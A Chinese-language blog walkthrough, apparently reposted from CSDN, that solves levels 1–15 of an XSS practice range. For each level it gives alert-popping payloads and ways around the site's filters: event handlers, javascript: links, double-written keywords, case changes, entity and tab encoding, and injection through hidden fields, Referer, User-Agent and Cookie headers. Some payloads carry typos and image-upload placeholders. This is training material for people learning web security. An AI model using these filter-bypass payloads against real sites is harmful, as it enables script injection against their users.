XSS靶场挑战

XSS靶场1-10关方法总结

第一关

        里面没有任何可以点击或输入的地方,很明显唯一可输入的只有URL中。利用弹出方式函数alert,注入xss代码,在url里的?name参数后面添加。

<script>alert(/xss/)</script>

第二关

(1)利用鼠标移出函数onmouseout

"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出会触发alert弹窗。

(2)利用onclick鼠标点击触发xss弹窗。在input里触发xss

<input type="text" Onclick="alert(/xss/)">

(3)使用将input标签闭合,让<script>独立出来。

"><scrpit>alert()</scrpit>

方法三、利用iframe,发现新开了一个页面并出现了弹窗,但并没有出现通关提示并跳转下一关,这是由于通关提示是写在当前页面的,在另一个页面实现弹窗绕过,也是通关的一个体现,手动跳关就可以了。

"> <iframe src="javascript:alert(/xx/)">

第三关

(1)和第二关类似使用利用onclick鼠标点击触发xss弹窗。在input里触发xss

<input name=keyword value ='' οnclick=alert(/xss/) ''>

(2)简单测试下,发现:“<>都被转义了。

而且,value的单引号“ ' ” 所以用,利用鼠标移出函数onmouseout属性。

' οnmοuseοut='alert(/xxx/)

第四关

方法一、利用伪协议进行绕过。

">2334a<"

方法二、

先测试下,

我们发现屏蔽了<>

所以我们用onmouseout,鼠标移动input,就可以触发弹窗进行绕过。

方法三、 利用oninput鼠标移动到输入框,就会触发。

<input name=keyword value="" οninput='alert(1)' ">

第五关

方法一、利用javascript伪协议进行绕过。

我们测试发现系统屏蔽了<script>,在里面加了一个_

试了试onmouseout,发现也被屏蔽了

可以发现这些都屏蔽了,我们试试<a>标签,在href里面用伪协议试试。

">点我

成功

2334

方法二、利用<iframe>标签

"><iframe src="javascript:alert(/xss/)">

但是呢,出现了一个小问题你点确定却没有跳转。不要困惑你过关了,但是此方法暂时不能直接过去~

还是使用上一个方法吧。

第六关

方法一、"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出

方法二、首先测试

不意外,全被屏蔽了

所以利用变换字母大小写(HTML不区分大小写,js严格区分大小写)

点击,创建的连接名ss,成功弹窗。

(1)"/>ss

(2)"><iframe sRc="javascript:alert(/xss/)">

第七关

方法一:首先测试

发现onmouseout的on,script不见了首先考虑复写,形式就是oonnmouseout,sscriptcript

对一些关键字进行识别,然后删除,比如<a href>会被改成<a>。 对于这种防御机制,常用的方法就是双写绕过。

"><scrscriptipt>alert("guest")</scrscriptipt>

方法二、"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出 补:124" onmouseout (鼠标移出时间)

方法三、利用鼠标点击输入框进行绕过。

" oonnclick="alert(1)

第八关

方法一:利用鼠标移出绕过。

"456" οnmοuseοut="alert(/xss/)" 鼠标移出

方法二:过滤javascript关键字,会把javascript变成javasc_ript。可以通过tab制表符绕过(%09)

javas cript:alert(/xss/);

方法三:

观察第八关,多了一个友情链接。

老方法测试一下:

我们发现input中的符号,全被屏蔽了,而我们写的代码,被传递到<a>中后,屏蔽的不多,所以我们从<a>中入手。" 被转义了,所以我们就在直接在href中写伪协议

运行后发现:javascript被修改了

我们利用实体编码绕过,将r进行HTML实体编码互转,通过在线编码生成器可以生成

javascipt:alert(/xss/);

点击友情链接,弹出,success!

第九关

方法一:和八关类似,利用Unicode编码绕过,输入中要有http://才能被识别写入

首先发现输入www.baidu.com,友情链接还是不合法,所以我们多试试几个,百度一下,你就知道

试了几次发现只要我们输入的里面有http://就可以成功显示

所以,我们就可以吧http://注释掉,就可以注入我们想要的东西

javascript:alert()>//百度一下,你就知道

发现javascript被屏蔽了,我们实体化转码试试,r的实体化转码为

javascipt:alert()//百度一下,你就知道

第十关

通过下列图片看源码可以看到,有三个inpute是隐藏的。这时候需要在url里插入payload。

在地址栏输入

再次查看代码

可以发现t_snort可以改value的值。

可以借用,在url中输入 keyword=test&t_sort=" type="text" οnclick="alert()

出现一个文本框,移出鼠标。

注:隐藏hidden keyword=test&t_sort=" type="text" οnclick="alert()

第十一关

(1)需要修改Referer,首先ctrl+u通过查看页面代码,可以发现我们需要从referer构造payload。

正在上传…重新上传取消

(2)然后打开火狐浏览器插件Hackbar 2,通过该插件构造referer。

正在上传…重新上传取消

正在上传…重新上传取消

(3)打开bp开始抓包,可以看出referer被修改了。

正在上传…重新上传取消

(4)可以看出页面内出现input窗口,点击成功过关。

正在上传…重新上传取消

第十二关

本关与11关类似。

(1)需要修改user-agent,首先ctrl+u通过查看页面代码,可以发现我们需要从user-agent来构造payload,查看到user-agent先关系统信息。

正在上传…重新上传取消

(2)然后打开火狐浏览器插件Hackbar 2,通过该插件构造user-agent。

正在上传…重新上传取消

(3)打开bp开始抓包,可以看出user-agent被修改了。

正在上传…重新上传取消

(4)可以看出页面内出现input窗口,点击成功过关。

正在上传…重新上传取消

正在上传…重新上传取消

第十三关

(1)首先看到ctrl+u后端页面代码中的增加了cookie,需要我们输入的payload需要在Cookie内构造。使用11、12关同样的方法注入xss语句。

正在上传…重新上传取消

(2)然后在12关快通过时抓包,修改增加的一个Cookie,并添加内容为user=payload就可以。

正在上传…重新上传取消

(3)最后在Bp里放行所篡改的数据包。

正在上传…重新上传取消

本关需要更改Cookie,

user=123&t_sort="type="text" οnclick="alert(1)

第十四关

通关后无需需手动到15关。

1、

第十五关

来到第15关了

正在上传…重新上传取消

(1)首先看到ctrl+u后端页面代码中的增加了src ,需要我们输入的payload需要在src内构造。

正在上传…重新上传取消

src=‘level1.php?name=<img src="" οnerrοr="alert(1)">'

猜你喜欢

转载自blog.csdn.net/weixin_45585955/article/details/123414070
今日推荐